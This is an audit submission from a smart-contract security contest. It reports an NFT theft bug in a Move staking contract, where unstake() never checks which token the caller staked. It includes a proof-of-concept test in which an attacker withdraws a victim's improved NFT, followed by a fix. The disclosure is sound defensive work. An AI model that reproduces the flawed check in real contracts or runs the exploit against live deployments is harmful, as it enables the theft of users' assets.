One Shot: Reloaded

First Flight #47
Beginner FriendlyNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

Critical NFT theft via inadequate ownership validation in unstaking

Author Revealed upon completion

Description

Attackers can steal any staked NFT from any user by exploiting insufficient ownership validation in the streets::unstake() function. The function only verifies that the caller has staked something, but doesn't verify which specific NFT they staked, allowing them to unstake anyone else's NFT instead of their own.

This vulnerability is particularly devastating when targeting victims who have staked NFTs for extended periods (5+ days) to improve their stats, as attackers can steal NFTs with significantly enhanced value - all negative traits removed and positive traits added - in exchange for their own worthless NFTs.

Root Cause

The streets::unstake() function has a critical flaw in its ownership validation logic:

// streets.move
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER); // @audit: Only checks StakeInfo exists
// @audit-issue: No validation that token_id matches what staker actually staked
let staked_duration = timestamp::now_seconds() - stake_info.start_time_seconds;
// ... mint rewards to staker_addr based on victim's staking duration
// ... transfer victim's NFT to staker_addr
}

Critical flaws:

  1. Missing NFT validation: The function doesn't verify which NFT the staker originally deposited

  2. StakeInfo mismatch: StakeInfo only tracks the staker's address and timestamp, not the specific NFT

  3. Stat improvement theft: Attackers can receive NFTs with enhanced stats earned through victim's long-term staking

  4. Value extraction: Attackers trade worthless NFTs for valuable improved ones

Risk

Likelihood: High - Any attacker can easily exploit this by staking any NFT briefly, then unstaking any other user's NFT

Impact: High - Theft of high-value improved NFTs in exchange for worthless ones

Impact

High severity because:

  • Value arbitrage attack: Attackers can exchange worthless NFTs for highly valuable improved ones

  • Stat progression theft: Victims lose stat improvements (negative traits removed, positive traits added)

  • Economic incentive destruction: Makes long-term staking extremely risky as rewards can be stolen

Proof of Concept

The following test demonstrates how an attacker can steal a victim's improved NFT by trading their own worthless NFT.

This test requires adding #[test_only] helper functions to the respective modules:

// Add to cred_token.move
#[test_only]
public fun init_module_test(sender: &signer) {
let (burn_cap, freeze_cap, mint_cap) = coin::initialize<CRED>(
sender,
string::utf8(b"Credibility"),
string::utf8(b"CRED"),
8,
false,
);
move_to(sender, CredCapabilities { mint_cap, burn_cap });
coin::destroy_freeze_cap(freeze_cap);
}
// Add to rap_battle.move
#[test_only]
public fun init_module_test(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
}

As NFT stats are not reset if the stacker day staked is bellow one day the attacker get back a better nft

#[test]
public fun test_steal_nft() {
let one_day = 86_400_000_000;
// Initialize timestamp for testing
let aptos_framework = account::create_account_for_test(@0x1);
timestamp::set_time_has_started_for_testing(&aptos_framework);
timestamp::update_global_time_for_test(one_day);
// Initialize aggregator factory and coin system
coin::create_coin_conversion_map(&aptos_framework);
let module_owner = account::create_account_for_test(@battle_addr);
let minter = account::create_account_for_test(@minter_addr);
let attacker = account::create_account_for_test(@attacker_addr);
cred_token::init_module_test(&module_owner);
rap_battle::init_module_test(&module_owner);
one_shot::mint_rapper(&module_owner, signer::address_of(&minter));
let mint_events = event::emitted_events<MintRapperEvent>();
let first_event = vector::borrow(&mint_events, 0);
let token_id = one_shot::get_mint_event_token_id(first_event);
let rapper_token_victim = object::address_to_object<Token>(
token_id
);
/*
* ([debug] "rapper_token_victim"
* [debug] 0x1::object::Object<0x4::token::Token> {
* inner: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a
* }
*/
print(&utf8(b"rapper_token_victim"));
print(&rapper_token_victim);
one_shot::mint_rapper(&module_owner, signer::address_of(&attacker));
let second_mint_events = event::emitted_events<MintRapperEvent>();
let second_event = vector::borrow(&second_mint_events, 1);
let token_id2 = one_shot::get_mint_event_token_id(second_event);
let rapper_token_attacker = object::address_to_object<Token>(
token_id2
);
/*
* [debug] "rapper_token_attacker"
* [debug] 0x1::object::Object<0x4::token::Token> {
* inner: @0xfab16b00983f01e5c2b7682472a4f4c3e5929fbba987958570b6290c02817df2
* }
*/
print(&utf8(b"rapper_token_attacker"));
print(&rapper_token_attacker);
// ATTACK SCENARIO EXPLANATION:
// Victim stakes NFT for 5+ days to improve its stats:
// - days_staked >= 1: weak_knees = false (was true)
// - days_staked >= 2: hat_askew = false (was true)
// - days_staked >= 3: suspenders = false (was true)
// - days_staked >= 4: credibility = true (was false)
// This transforms a low-skill NFT into a high-skill one
print(&utf8(b"=== STEP 1: Victim stakes NFT for 5 days ==="));
// Check initial stats of victim's NFT (should have bad stats initially)
let (initial_wk, initial_ha, initial_ss, initial_cr, initial_wins) = one_shot::read_stats(token_id);
print(&utf8(b"Victim NFT initial stats (wk, ha, ss, cr, wins):"));
print(&initial_wk);
print(&initial_ha);
print(&initial_ss);
print(&initial_cr);
print(&initial_wins);
streets::stake(&minter, rapper_token_victim);
timestamp::update_global_time_for_test(5 * one_day); // +5 days total
// Victim unstakes to get improved stats applied to their NFT
streets::unstake(&minter, &module_owner, rapper_token_victim);
// Check improved stats after 5-day staking (all negative traits should be false, credibility true)
let (improved_wk, improved_ha, improved_ss, improved_cr, improved_wins) = one_shot::read_stats(token_id);
print(&utf8(b"Victim NFT improved stats after 5 days (wk, ha, ss, cr, wins):"));
print(&improved_wk); // Should be false (improved from true)
print(&improved_ha); // Should be false (improved from true)
print(&improved_ss); // Should be false (improved from true)
print(&improved_cr); // Should be true (improved from false)
print(&improved_wins);
print(&utf8(b"=== STEP 2: Victim stakes improved NFT again ==="));
streets::stake(&minter, rapper_token_victim);
print(&utf8(b"=== STEP 3: Attacker stakes their bad NFT briefly ==="));
streets::stake(&attacker, rapper_token_attacker);
print(&utf8(b"=== STEP 4: VULNERABILITY - Attacker steals victim's improved NFT ==="));
// CRITICAL BUG: Attacker can unstake victim's improved NFT instead of their own bad NFT!
// This gives attacker the victim's NFT with all improvements, while victim loses everything
streets::unstake(&attacker, &module_owner, rapper_token_victim);
// Verify the theft succeeded
let unstake_events = event::emitted_events<UnstakedEvent>();
print(&utf8(b"Unstake events:"));
print(&unstake_events);
/*
* [debug] [
* 0x42::streets::UnstakedEvent {
* owner: @0x100,
* token_id: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a,
* staked_duration: 345600
* },
* 0x42::streets::UnstakedEvent {
* owner: @0x474,
* token_id: @0xe46a3c36283330c97668b5d4693766b8626420a5701c18eb64026075c3ec8a0a,
* staked_duration: 86400
* }
* }
*/
}

Recommended Mitigation

Store staked NFT ID in StakeInfo

Since staked NFTs are owned by @battle_addr during staking, we cannot use object::is_owner() for validation. Instead, we must track which specific NFT each user staked:

struct StakeInfo has key, store {
start_time_seconds: u64,
owner: address,
+ staked_token_id: address,
}
public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
move_to(staker, StakeInfo {
start_time_seconds: timestamp::now_seconds(),
owner: staker_addr,
+ staked_token_id: token_id,
});
// ... rest unchanged
}
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ assert!(stake_info.staked_token_id == token_id, E_WRONG_NFT);
// ... rest unchanged
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.